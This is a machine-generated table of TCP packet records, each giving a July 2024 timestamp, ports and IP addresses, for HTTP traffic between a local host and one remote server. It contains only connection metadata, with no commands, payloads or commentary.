Jul 26, 2024 09:30:09.269956112 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.269961119 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269978046 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269979000 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.269994020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270006895 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270031929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270031929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270050049 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270067930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270070076 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270082951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270086050 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270102978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270104885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270126104 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270132065 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270143032 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270159960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270163059 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270175934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270176888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270195007 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270200968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270210981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270236969 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270246029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270256996 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270275116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270311117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270318985 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270328045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270342112 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270344973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270361900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270364046 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270376921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270395041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270397902 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270411015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270425081 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270427942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270445108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270447969 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270462036 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270462990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270488977 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270523071 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270558119 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270576000 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270587921 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270611048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270621061 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270628929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270646095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270646095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270670891 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270684958 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270703077 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270719051 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270719051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270731926 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270736933 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270754099 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270761013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270771980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270775080 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270788908 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270788908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270802021 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270828009 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270836115 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270843983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270860910 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270883083 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270889044 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270900965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270925045 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.270939112 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270956993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.270998955 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271012068 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271029949 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271065950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271070004 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271083117 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271116972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271122932 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271133900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271136045 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271152020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271152973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271168947 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271172047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271189928 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271197081 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271224976 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271229982 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271250963 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271284103 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271369934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271409035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271476984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271511078 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271526098 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271555901 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271625042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271642923 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271677017 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271684885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271694899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271723032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271732092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271733999 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271750927 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271785975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271801949 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271815062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271831989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271832943 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271848917 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271867037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271868944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271883965 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271918058 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.271965981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.271984100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272017956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272030115 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272032022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272066116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272144079 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272222042 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272310019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272327900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272377968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272440910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272458076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272499084 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272526979 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272547960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272588968 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272603989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272622108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272635937 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272639036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272663116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272676945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272696018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272728920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272735119 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272747040 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272761106 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272763968 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272782087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272782087 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272799015 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272799015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272815943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.272823095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.272845030 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273225069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273242950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273286104 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273299932 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273318052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273329973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273335934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273355007 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273355007 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273372889 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273374081 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273394108 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273415089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273420095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273432970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273467064 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273471117 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273484945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273519039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273523092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273536921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273554087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.273564100 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.273596048 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.356684923 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356705904 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356717110 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356722116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356733084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356736898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356755018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356760025 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356770992 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356775999 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356782913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356796026 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356801987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356801987 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.356807947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356837988 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.356837988 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.356846094 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.356957912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356962919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356969118 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356972933 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356982946 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356987953 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.356998920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357003927 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357008934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357023001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357037067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357064962 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357069969 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357083082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357089996 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357106924 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357122898 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357152939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357158899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357167959 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357189894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357196093 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357202053 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357208014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357217073 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357218027 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357222080 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357228041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357239008 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357251883 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357270956 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357270956 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357300043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357300043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357307911 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357321024 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357326984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357333899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357343912 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357367992 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357448101 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357453108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357477903 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357542992 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357547998 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357558966 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357563972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357568979 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357573032 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357579947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357597113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357605934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357615948 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357636929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357642889 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357666016 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357671022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357676029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357697964 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357753992 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357758045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357769012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357774973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357804060 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357922077 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357927084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357938051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357943058 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.357974052 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.357997894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358014107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358047962 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.358649969 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358736992 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.358738899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358746052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358757019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358762980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358772993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358778954 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358792067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.358807087 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.358864069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358869076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358875036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358880043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358890057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358896017 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358906031 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.358912945 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.358931065 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359272957 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359285116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359291077 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359296083 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359307051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359312057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359318018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359318972 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359332085 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359345913 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359359026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359366894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359373093 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359379053 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359384060 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359389067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359394073 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359402895 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359405041 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359416962 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359435081 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359616041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359622002 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359632015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359667063 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359678984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359684944 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359695911 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359700918 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359704971 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.359721899 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359736919 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.359750032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.360250950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.360299110 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.360363960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.360368013 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.360410929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.360416889 CEST	80	49167	107.173.143.46	192.168.2.22
